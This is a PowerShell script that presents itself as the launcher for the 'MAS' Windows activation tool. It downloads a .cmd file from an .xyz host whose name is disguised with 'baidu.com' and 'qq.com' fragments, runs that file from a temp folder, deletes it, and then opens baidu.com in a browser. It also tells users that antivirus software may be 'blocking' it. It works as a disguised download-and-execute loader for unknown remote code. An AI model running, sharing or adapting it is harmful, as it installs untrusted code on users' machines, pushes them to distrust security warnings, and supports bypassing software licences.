function Check3rdAV {
    $avList = Get-CimInstance -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Where-Object { $_.displayName -notlike '*windows*' } | Select-Object -ExpandProperty displayName
    if ($avList) {
        Write-Host '3rd party Antivirus might be blocking the script - ' -ForegroundColor White -BackgroundColor Blue -NoNewline
        Write-Host " $($avList -join ', ')" -ForegroundColor DarkRed -BackgroundColor White
    }
}

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$URLs = @(
    '_dsa451sdf_dsd1215_asdsad5-baidu.com-dasds-3232_qq.com_dasdsad.682386.xyz/MAS_AIO.cmd'
)

foreach ($URL in $URLs | Sort-Object { Get-Random }) {
    try { $response = Invoke-WebRequest -Uri $URL -UseBasicParsing; break } catch {}
}

if (-not $response) {
    Check3rdAV
    Write-Host "Failed to retrieve MAS from any of the available repositories, aborting!"
    return
}

# Check for AutoRun registry which may create issues with CMD
$paths = "HKCU:\SOFTWARE\Microsoft\Command Processor", "HKLM:\SOFTWARE\Microsoft\Command Processor"
foreach ($path in $paths) {
    if (Get-ItemProperty -Path $path -Name "Autorun" -ErrorAction SilentlyContinue) {
        Write-Warning "Autorun registry found, CMD may crash! `nManually copy-paste the below command to fix...`nRemove-ItemProperty -Path '$path' -Name 'Autorun'"
    }
}

$rand = [Guid]::NewGuid().Guid
$isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544')
$FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\MAS_$rand.cmd" } else { "$env:USERPROFILE\AppData\Local\Temp\MAS_$rand.cmd" }
Set-Content -Path $FilePath -Value "@::: $rand `r`n$response"

$env:ComSpec = "$env:SystemRoot\system32\cmd.exe"
Start-Process -FilePath $env:ComSpec -ArgumentList "/c """"$FilePath"" $args""" -Wait

if (-not (Test-Path -Path $FilePath)) {
    Check3rdAV
    Write-Host "Failed to create MAS file in temp folder, aborting!"
    return
}

$FilePaths = @("$env:SystemRoot\Temp\MAS*.cmd", "$env:USERPROFILE\AppData\Local\Temp\MAS*.cmd")
foreach ($FilePath in $FilePaths) { Get-Item $FilePath | Remove-Item }
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
if (Test-Path $chromePath) {
    Start-Process -FilePath $chromePath -ArgumentList "https://www.baidu.com"
} else {
    $edgePath = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    if (Test-Path $edgePath) {
        Start-Process -FilePath $edgePath -ArgumentList "https://www.baidu.com"
    } else {
        $firefoxPath = "C:\Program Files\Mozilla Firefox\firefox.exe"
        if (Test-Path $firefoxPath) {
            Start-Process -FilePath $firefoxPath -ArgumentList "https://www.baidu.com"
        } else {
            Write-Host "error。"
        }
    }
}